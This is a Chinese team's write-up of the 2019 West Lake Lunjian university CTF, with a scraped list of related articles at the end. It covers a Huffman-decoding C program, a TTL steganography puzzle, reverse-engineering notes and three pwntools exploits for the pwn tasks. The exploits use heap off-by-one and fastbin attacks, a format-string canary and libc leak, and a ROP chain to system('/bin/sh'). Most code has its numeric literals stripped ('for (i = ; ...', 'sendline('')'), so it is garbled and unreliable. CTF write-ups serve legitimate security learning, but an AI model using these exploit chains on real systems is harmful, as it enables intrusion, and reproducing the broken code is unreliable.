这次比赛是我参加以来成绩最好的一次,这离不开我们的小团队中任何一个人的努力,熬了一整天才答完题,差点饿死在工作室(门卫大爷出去散步,把大门锁了出不去,还好学弟提了几个盒饭用网线从窗户钓上来才吃到了午饭)。写好WP回到宿舍的时候已经快十二点了,随便吃了点面包倒头就睡......

接下来大概写写我们的解题思路,由于做题的时候没想到可以进名次,而且赛后比赛平台也关了,所以很多实现过程的截图就没法弄了,只下了除web以外的题目。

CRYPTO

第一题 HardGame

这道题我们并没有做出来,可以看看大佬写的-->https://mp.weixin.qq.com/s/rlSyABoulRKygPmwfcUuXA

第二题 哈夫曼之谜

下载下来的压缩包里就两个文件

在txt文档内容如下:

看到哈夫曼我记得当初好像是在数据结构里面学过,果断找书,百度查资料,后来了解到,上面01的部分其实可以看做是加密的密文,下面相当于解密的秘钥。

在下面的两列中,第一列是哈夫曼树的叶子节点,第二列是对应的权重值,之后就是长久的网上找代码(没办法,代码功底有点差,写起来太费时间了,只能网上找找改改)

找到的代码如下(在vs中运行的,之前的代码在运行的时候因为数组设置的太小,之后会有溢出,所以我改了下数组大小):

 #include <stdio.h>
#include <stdlib.h>
#include <string.h> typedef int ELEMTYPE; // 哈夫曼树结点结构体
typedef struct HuffmanTree
{
ELEMTYPE weight;
ELEMTYPE id; // id用来主要用以区分权值相同的结点,这里代表了下标
struct HuffmanTree* lchild;
struct HuffmanTree* rchild;
}HuffmanNode; // 构建哈夫曼树
HuffmanNode* createHuffmanTree(int* a, int n)
{
int i, j;
HuffmanNode **temp, *hufmTree;
temp = malloc(n*sizeof(HuffmanNode));
for (i = ; i<n; ++i) // 将数组a中的权值赋给结点中的weight
{
temp[i] = (HuffmanNode*)malloc(sizeof(HuffmanNode));
temp[i]->weight = a[i];
temp[i]->id = i;
temp[i]->lchild = temp[i]->rchild = NULL;
} for (i = ; i<n - ; ++i) // 构建哈夫曼树需要n-1合并
{
int small1 = -, small2; // small1、small2分别作为最小和次小权值的下标
for (j = ; j<n; ++j) // 先将最小的两个下标赋给small1、small2(注意:对应权值未必最小)
{
if (temp[j] != NULL && small1 == -)
{
small1 = j;
continue;
}
else if (temp[j] != NULL)
{
small2 = j;
break;
}
} for (j = small2; j<n; ++j) // 比较权值,挪动small1和small2使之分别成为最小和次小权值的下标
{
if (temp[j] != NULL)
{
if (temp[j]->weight < temp[small1]->weight)
{
small2 = small1;
small1 = j;
}
else if (temp[j]->weight < temp[small2]->weight)
{
small2 = j;
}
}
}
hufmTree = (HuffmanNode*)malloc(sizeof(HuffmanNode));
hufmTree->weight = temp[small1]->weight + temp[small2]->weight;
hufmTree->lchild = temp[small1];
hufmTree->rchild = temp[small2]; temp[small1] = hufmTree;
temp[small2] = NULL;
}
free(temp);
return hufmTree;
} // 以广义表的形式打印哈夫曼树
void PrintHuffmanTree(HuffmanNode* hufmTree)
{
if (hufmTree)
{
printf("%d", hufmTree->weight);
if (hufmTree->lchild != NULL || hufmTree->rchild != NULL)
{
printf("(");
PrintHuffmanTree(hufmTree->lchild);
printf(",");
PrintHuffmanTree(hufmTree->rchild);
printf(")");
}
}
} // 递归进行哈夫曼编码
void HuffmanCode(HuffmanNode* hufmTree, int depth) // depth是哈夫曼树的深度
{
static int code[];
if (hufmTree)
{
if (hufmTree->lchild == NULL && hufmTree->rchild == NULL)
{
printf("id为%d权值为%d的叶子结点的哈夫曼编码为 ", hufmTree->id, hufmTree->weight);
int i;
for (i = ; i<depth; ++i)
{
printf("%d", code[i]);
}
printf("\n");
}
else
{
code[depth] = ;
HuffmanCode(hufmTree->lchild, depth + );
code[depth] = ;
HuffmanCode(hufmTree->rchild, depth + );
}
}
} // 哈夫曼解码
void HuffmanDecode(char ch[], HuffmanNode* hufmTree, char string[]) // ch是要解码的01串,string是结点对应的字符
{
int i;
int num[];
HuffmanNode* tempTree = NULL;
for (i = ; i<strlen(ch); ++i)
{
if (ch[i] == '')
num[i] = ;
else
num[i] = ;
}
if (hufmTree)
{
i = ; // 计数已解码01串的长度
while (i<strlen(ch))
{
tempTree = hufmTree;
while (tempTree->lchild != NULL && tempTree->rchild != NULL)
{
if (num[i] == )
{
tempTree = tempTree->lchild;
}
else
{
tempTree = tempTree->rchild;
}
++i;
}
printf("%c", string[tempTree->id]); // 输出解码后对应结点的字符
}
}
} int main()
{
int i, n;
printf("请输入叶子结点的个数:\n");
while ()
{
scanf("%d", &n);
if (n>)
break;
else
printf("输入错误,请重新输入n值!");
} int* arr;
arr = (int*)malloc(n*sizeof(ELEMTYPE));
printf("请输入%d个叶子结点的权值:\n", n);
for (i = ; i<n; ++i)
{
scanf("%d", &arr[i]);
} char ch[], string[];
printf("请连续输入这%d个叶子结点各自所代表的字符:\n", n);
fflush(stdin); // 强行清除缓存中的数据,也就是上面输入权值结束时的回车符
gets(string); HuffmanNode* hufmTree = NULL;
hufmTree = createHuffmanTree(arr, n); printf("此哈夫曼树的广义表形式为:\n");
PrintHuffmanTree(hufmTree);
printf("\n各叶子结点的哈夫曼编码为:\n");
HuffmanCode(hufmTree, ); printf("要解码吗?请输入编码:\n");
gets(ch);
printf("解码结果为:\n");
HuffmanDecode(ch, hufmTree, string);
printf("\n"); free(arr);
free(hufmTree); return ;
}

最后输出结果:

最后出来的格式有点问题,要处理一下

MISC

第一题 最短的路

题目如下:

这个题我后来看别人WP说是BSF算法,这个我也不太懂,以前没碰到过,但是我们学弟直接手撸,就出来了,哈哈~

我看也有人写了脚本:

第二题 奇怪的TTL字段

题目描述如下:

我们截获了一些IP数据报,发现报文头中的TTL值特别可疑,怀疑是通信方嵌入了数据到TTL,我们将这些TTL值提取了出来,你能看出什么端倪吗?

在txt文档中全是这种数字,以前遇到过类似的题型,首先都是把里面的数字提取出来,再做处理

至于对数字该怎么处理,就查了好对资料,后来找到一篇文章提醒了我

最后处理方式如下:

63 127 191 255对应00 01 10 11

(如果是2种情况就猜0 1,4种情况就猜00 01 10 11,转换为8位二进制,然后只取前两位,因为观察会发现后面几位都是1)

之后就是对数据的进制转换了,最终转成十六进制

在最后转换出的结果中,发现了六个jpg的文件头(ffd8),说明这就是六张图片,放在winhex生成图片

再用PS合成了一张二维码的图片

扫描结果如下所示:

根据单词AutomaticKey想到了是:自动密钥密码

解密网址:http://ctf.ssleye.com/autokey.html

这种加密只是针对字母,所以解密之后把对应的数字加上就可以了。

附py脚本如下(因为代码有点多,所以就只上截图了)

第三题 crackme

这道题我们没有做出来,可以看大佬写的wp--->https://mp.weixin.qq.com/s/rlSyABoulRKygPmwfcUuXA

PWN

第一题 Storm Note

直接上exp

 from pwn import *
#p=process('./storm')
p=remote('ctf1.linkedbyx.com',10444) //网址+端口
#port:10444
def add(size):
p.recvuntil('Choice')
p.sendline('')
p.recvuntil('?')
p.sendline(str(size)) def edit(idx,mes):
p.recvuntil('Choice')
p.sendline('')
p.recvuntil('?')
p.sendline(str(idx))
p.recvuntil('Content')
p.send(mes) def dele(idx):
p.recvuntil('Choice')
p.sendline('')
p.recvuntil('?')
p.sendline(str(idx)) add(0x18) #
add(0x508) #
add(0x18) #
edit(1, 'h'*0x4f0 + p64(0x500)) #set fake prev_size add(0x18) #
add(0x508) #
add(0x18) #
edit(4, 'h'*0x4f0 + p64(0x500)) #set fake prev_size
add(0x18) # dele(1)
edit(0, 'h'*(0x18)) #off-by-one
add(0x18) #
add(0x4d8) #
dele(1)
dele(2) #backward consolidate
add(0x38) #
add(0x4e8) # dele(4)
edit(3, 'h'*(0x18)) #off-by-one
add(0x18) #
add(0x4d8) #
dele(4)
dele(5) #backward consolidate
add(0x48) # dele(2)
add(0x4e8) #
dele(2)
storage = 0xabcd0100
fake_chunk = storage - 0x20 p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
p1 += p64(0) + p64(fake_chunk) #bk
edit(7, p1) p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
p2 += p64(0) + p64(fake_chunk+8) #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
p2 += p64(0) + p64(fake_chunk-0x18-5) #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
edit(8, p2)
add(0x48)
edit(2,p64(0)*8) p.sendline('')
p.send('\x00'*0x30)
'''
add(0x100-8)
add(0x200)
add(0x100) edit(1,(p64(0x200)+p64(0x100))*32)
dele(1)
edit(0,'a'*(0x100-8))
add(0x100)
add(0x60)
dele(1)
dele(2)
add(0x100)
add(0x60)
'''
p.interactive()

第二题 story

这个题好像是libc泄露

上exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
io = remote('ctf1.linkedbyk.com', 10195) //网址+端口号
#io = process('./story')
elf = ELF('./story')
#libc = elf.libc
libc = ELF('libc6_2.23-0ubuntu10_amd64.so') io.recv()
__libc_start_main_got = elf.got['__libc_start_main']
payload = "%15$llx"+"AAAAAAAA" + "%11$s" + "QQQQ" + p64(__libc_start_main_got)
print payload
io.sendline(payload)
io.recvuntil("Hello ")
cannary = int(io.recvuntil('AAAAAAAA', drop = True),16)
print hex(cannary)
temp = io.recv()[0:6]
__libc_start_main_addr = u64(temp+p8(0)*2)
libc_base = __libc_start_main_addr - libc.symbols['__libc_start_main']
print hex(__libc_start_main_addr)
#one_gadgets = libc_base + 0xf1147
system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
#get one_gadgetA
print "get_addr = " + hex(__libc_start_main_addr)
#print "one_gadgets = "+ hex(one_gadgets)
print "get_got = " + hex(__libc_start_main_got)
print "cannay= " + hex(cannary)
print "system_addr=" + hex(system_addr)
print "bin_sh=" + hex(bin_sh)
pop_rdi = 0x0000000000400bd3
#gdb.attach(io)
payload = 'A'*136 + p64(cannary) * 2 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
#payload = 'A'*136 + p64(cannary) * 2 + p64(one_gadgets) print hex(cannary)
Size = len(payload)+1
print "size = " + str(Size)
io.sendline(str(len(payload)))
#gdb.attach(io)
print io.recv()
io.sendline(payload)
io.interactive()

第三题 noinfoleak

exp

 from pwn import *
#p=process('./noinfoleak')
libc = ELF('./libc-2.23.so')
p=remote('ctf1.linkedbyx.com',10426) //网址+端口
def add(size,mes):
p.recvuntil('>')
p.sendline('')
p.recvuntil('>')
p.sendline(str(size))
p.recvuntil('>')
p.send(mes) def dele(idx):
p.recvuntil('>')
p.sendline('')
p.recvuntil('>')
p.sendline(str(idx))
def edit(idx,mes):
p.recvuntil('>')
p.sendline('')
p.recvuntil('>')
p.sendline(str(idx))
p.recvuntil('>')
p.send(mes) add(0x60,p64(0x71)*4)
add(0x60,p64(0x71)*4)
add(0x60,p64(0x71)*4)
dele(0)
dele(1)
edit(1,'\x10')
add(0x60,p64(0x71)*4)
add(0x60,p64(0x71)*4)
add(0x50,'aaa')
add(0x50,'bbb')
edit(0,p64(0)+p64(0xd1))
dele(4)
a = 0x46# int(raw_input("a"),16)
edit(0,p64(0)+p64(0x71)+'\x5d'+chr(a))
dele(1)
dele(2)
edit(2,'\x10')
add(0x60,'a')
add(0x60,'\x00')
add(0x60,'\x00')
dele(5)
dele(6)
edit(6,p64(0x601120))
add(0x50,'/bin/sh\x00')
add(0x50,'\x20')
edit(9,p64(0xfbad3c80)+p64(0)*3+p8(0))
p.send('\n')
p.recv(24)
addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = addr - (0x7fb4e88cf6e0-0x7fb4e850c000)
info("libc:0x%x",libc_base)
system = libc_base+libc.symbols['system']
edit(11,p64(0x601018))
edit(9,p64(system))
dele(10) p.interactive()

REVERSE

第一题 easyCpp

用IDA打开,分析函数代码,发现好像是输入过两个变换

其他所有的数加上最后一个
- 顺序整个反过来,最后一个不变
最后要变成一个斐波那契数列1 1 2 3 5 ... 987,可以得输入

第二题 Junk_Instruction

这道题我们没有做出来,可以看大佬写的wp--->https://mp.weixin.qq.com/s/rlSyABoulRKygPmwfcUuXA

第三题 Testre

直接用IDA打开,F5查看函数,主要是对代码的分析,涉及到了些算法

看下面的这点代码,好像是辗转相除法

之后查看字符串 主菜单View-Open subviews-strings,看到table

之后就是Base58解密了,网址:http://ctf.ssleye.com/base85.html

(之后再学习后会再进一步详细补充)

2019-04-08  11:35:05

2019西湖论剑网络安全技能大赛(大学生组)部分WriteUp的更多相关文章

  1. 2019西湖论剑网络安全技能大赛(大学生组)--奇怪的TTL字段(补充)

    鉴于有人不会将得到的16进制数据在winhex中转成图片,我在这里写一个详细的步骤. 首先就是将六张图片的十六进制数据找出并提取出来. 打开winhex,新建一个文档. 大小可以选1bytes 将数据 ...

  2. 2019"深思杯"山东省大学生网络安全技能大赛部分wp

    签到 载入OD查看字符串 上下左右 这道题出来的时候真的是一点思路都没有,一直以为是什么编码来着,看了大佬们的 wp 原来是画图 拿大佬的脚本: from PIL import Image im = ...

  3. 2021陕西省大学生网络安全技能大赛 Web ez_checkin

    web ez_checkin 进去看了一会,啥也没找到,直接上dirsearch 扫到一个index.php~,打开看一看,是php审计 <?php error_reporting(0); in ...

  4. 山东省网络安全技能大赛 部分writeup

    web1 提示:ip不在范围内 直接抓包加client-ip: 127.0.0.1 即可得到flag web2 <?php include 'here.php';    $key = 'kela ...

  5. 2019西湖论剑web wp

    发在正文前 这应该是自己在安全圈摸爬滚打两年多以来第一次正规的ctf比赛.没解出flag,没截图,只提供了一些思路. 遥想往昔,初入大学,带着对PT的向往,一个人穿行在幽暗的图书馆,翻阅啃读一本本安全 ...

  6. 2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup

    2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup 2020年网鼎杯白虎组赛题.zip下载 https://download.csdn.net/download/jameswhit ...

  7. 【技能大赛笔记01】Zigbee点对点按键控制程序开发

    [技能大赛笔记01]Zigbee点对点按键控制程序开发 --2017年"物联网物联网技术应用与维护"任务五题1(中职组) 1.题目要求 2.工程文件 在比赛中,提供了一个基于Bas ...

  8. ROS(indigo) 安装和使用更新版本的Gazebo----3,4,5,6,7 附:中国机器人大赛中型组仿真比赛说明

    ROS(indigo) 安装和使用更新版本的Gazebo,本文以7为例. Gazebo7支持更多新的功能,如果使用下面命令安装ROS(indigo): ~$ sudo apt-get install ...

  9. 2018工业信息安全技能大赛华东赛区初赛 第2题 writeup

    2018工业信息安全技能大赛华东赛区初赛 第2题 解题思路 本题主要考察点是对常见工控协议的理解(modbus/tcp和s7comm),题目目标是寻找出报文中某条异常报文流量.很让人疑惑的是,题目中并 ...

随机推荐

  1. spring boot 2整合mybatis

    mybatis-spring-boot-starter主要有两种解决方案,一种是使用注解,一种是使用XML. 参考这篇文章动手跑了一个例子,稍微不同之处,原文是spring boot,这里改成了spr ...

  2. HDU 5552 Bus Routes(NTT+分治)

    题意 给定 \(n\) 个点,任意连边,每条边有 \(m\) 种颜色可选,求带环连通图的方案数. \(1\leq n\leq 10000\) \(1\leq m < 2^{31}\) 思路 直接 ...

  3. WEB 前端插件整理

    Vs Code 系统插件 #1 Bracket Pair Colorizer 让括号拥有独立的颜色,易于区分.可以配合任意主题使用. #2 Code Runner 非常强大的一款插件,能够运行多种语言 ...

  4. [codechef]SnackDown 2017 Online Elimination Round Prefix XOR

    预处理后主席树维护 首先得出最后的答案为 \(\sum_{i=l}^{r}{min(right[i],r)-i+1}\) \(ri[i]\)表示i最远的上升序列(即代码中的f[i]) step1 那么 ...

  5. Codefoces 277 E. Binary Tree on Plane

    题目链接:http://codeforces.com/problemset/problem/277/E 参考了这篇题解:http://blog.csdn.net/Sakai_Masato/articl ...

  6. box-sizing 和 dom width

    refer : https://developer.mozilla.org/en-US/docs/Web/API/CSS_Object_Model/Determining_the_dimensions ...

  7. css及HTML知识点

    html : 180°  输出为 css:    margin: 0 auto;会在页面水平居中显示  box-shadow: 0 0 5px #f61818; 设置投影的位置大小颜色 outline ...

  8. 覃超:Facebook的项目开发流程和工程师的绩效管理机制

    覃超:Facebook的项目开发流程和工程师的绩效管理机制 http://mp.weixin.qq.com/s?__biz=MjM5MDE0Mjc4MA==&mid=2650992350&am ...

  9. yii2restful规范的api使用

    说明:restful是一套优秀的接口调用规范. 使用规范: 1,安装yii2 使用composer安装 安装完 Composer,运行下面的命令来安装 Composer Asset 插件: php c ...

  10. C++句柄解析

    C++句柄类解析 引题:在C++中,对于运行时类型识别问题.在程序中使用引用或者指针在运行时动态识别对象类型.然而使用指针或者引用却增加了用户负担(在继承体系中,没有明确的基类到派生类的转换,必须用户 ...